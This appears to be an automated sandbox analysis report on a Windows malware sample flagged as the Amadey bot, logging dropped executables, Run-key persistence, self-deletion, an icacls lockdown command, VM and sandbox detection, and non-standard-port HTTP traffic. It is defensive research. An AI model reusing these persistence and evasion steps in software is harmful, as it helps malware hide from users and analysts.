Source: C:\Users\user\AppData\Local\Temp\4149.exe	Unpacked PE file: 10.2.4149.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Unpacked PE file: 19.2.2355.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Unpacked PE file: 20.2.B666.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Unpacked PE file: 21.2.4149.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Unpacked PE file: 22.2.89DB.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\5542.exe	Unpacked PE file: 25.2.5542.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Unpacked PE file: 26.2.4149.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02646A0C push 6700D42Eh; retf	0_2_02646A16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02645BB4 push 623D8A45h; retf	0_2_02645BB9
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0403B0AF push ecx; retf	5_2_0403B0B2
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_04128F05 push ecx; ret	5_2_04128F18
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00428565 push ecx; ret	6_2_00428578

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

6_2_00412220

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\43AA.dll

Source: XandETC.exe.24.dr

Static PE information: section name: .xdata

Source: 856.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0xa4b18
Source: oldplayer.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x401eb
Source: FB94.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x426b7e
Source: F0EE.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x426b7e
Source: aafg31.exe.24.dr	Static PE information: real checksum: 0x3f964 should be: 0x479d3

Source: initial sample	Static PE information: section name: .text entropy: 7.99239241264407
Source: initial sample	Static PE information: section name: .text entropy: 7.99256176055326

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000023.00000002.798494824.00000000014B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oneetx.exe PID: 4692, type: MEMORYSTR

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uehwfht			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ughwfht			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uehwfht	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FB94.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	File created: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	File created: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\89DB.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F0EE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B666.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ughwfht	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\43AA.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F7C8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D5C1.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B03B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4FC4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	File created: C:\Users\user\AppData\Local\Temp\aafg31.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	File created: C:\Users\user\AppData\Local\Temp\XandETC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\89B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9E07.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6C58.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4149.exe	File created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A078.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D01F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2355.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2666.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D05F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4149.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5DF3.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\32DC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\950D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5542.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\856.exe	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Source: C:\Users\user\AppData\Local\Temp\4149.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 3003
Source: unknown	Network traffic detected: HTTP traffic on port 3003 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 3003
Source: unknown	Network traffic detected: HTTP traffic on port 3003 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 3003
Source: unknown	Network traffic detected: HTTP traffic on port 3003 -> 49733

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\uehwfht:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\ughwfht:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4149.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000000.00000002.566415788.0000000002628000.00000004.00000020.00020000.00000000.sdmp, uehwfht, 00000004.00000002.633153706.000000000237A000.00000004.00000020.00020000.00000000.sdmp, 89DB.exe, 00000016.00000002.678231912.00000000025BA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\explorer.exe TID: 3728	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe TID: 4608	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe TID: 6988	Thread sleep time: -2100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe TID: 1228	Thread sleep count: 67 > 30
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe TID: 1228	Thread sleep time: -2010000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe TID: 3760	Thread sleep time: -1800000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe TID: 1228	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_6-31482

Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Thread delayed: delay time: 180000

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 381	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 842	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 851	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

API coverage: 6.4 %

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\A078.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2666.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D05F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\856.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 5_2_0403971C rdtsc

5_2_0403971C

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Evaded block: after key decision

graph_6-31455

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

6_2_0040E670

Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\aafg31.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

API call chain: ExitProcess graph end node

graph_6-31484

Source: explorer.exe, 00000003.00000000.552915146.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000003.00000000.552915146.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000003.00000000.549171278.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: aafg31.exe, 0000001E.00000003.699058067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z4XFdquCuB2O8Saf5uD5XB2XhlSnr7sk3grNdoMQC7oFCiSCM8L5RJ4SH80ehgFST82YbagYP/3soq5XCV103AABO8GWOM9jzUG9pqQ65IP5GPRDu23FkMjKp]
Source: explorer.exe, 00000003.00000000.552915146.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.556667897.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: 4149.exe, 0000001A.00000002.721546295.0000000000678000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0^q%SystemRoot%\system32\mswsock.dll~
Source: D5C1.exe, 00000006.00000002.629266514.0000000000788000.00000004.00000020.00020000.00000000.sdmp, D5C1.exe, 00000006.00000002.629266514.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 4FC4.exe, 00000008.00000002.633118414.00000000006C6000.00000004.00000020.00020000.00000000.sdmp, 4FC4.exe, 00000008.00000002.633118414.0000000000638000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 0000000A.00000002.652544842.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 0000000A.00000002.652544842.0000000000845000.00000004.00000020.00020000.00000000.sdmp, B666.exe, 00000014.00000002.669295924.0000000000863000.00000004.00000020.00020000.00000000.sdmp, B666.exe, 00000014.00000003.663521557.0000000000863000.00000004.00000020.00020000.00000000.sdmp, B666.exe, 00000014.00000002.669295924.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 00000015.00000002.699607048.0000000000868000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 00000015.00000002.699607048.00000000008FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 4149.exe, 0000000A.00000002.652544842.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%\system32\WindowsPowerShell\v1.0\powershell.exe,-124
Source: explorer.exe, 00000003.00000000.552915146.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
Source: D5C1.exe, 00000006.00000002.629266514.00000000007DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWit Network Connection-QoS Packet Scheduler-0000
Source: 4149.exe, 0000000A.00000002.652909506.0000000003070000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 2355.exe, 00000013.00000002.811028634.000000000CC20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

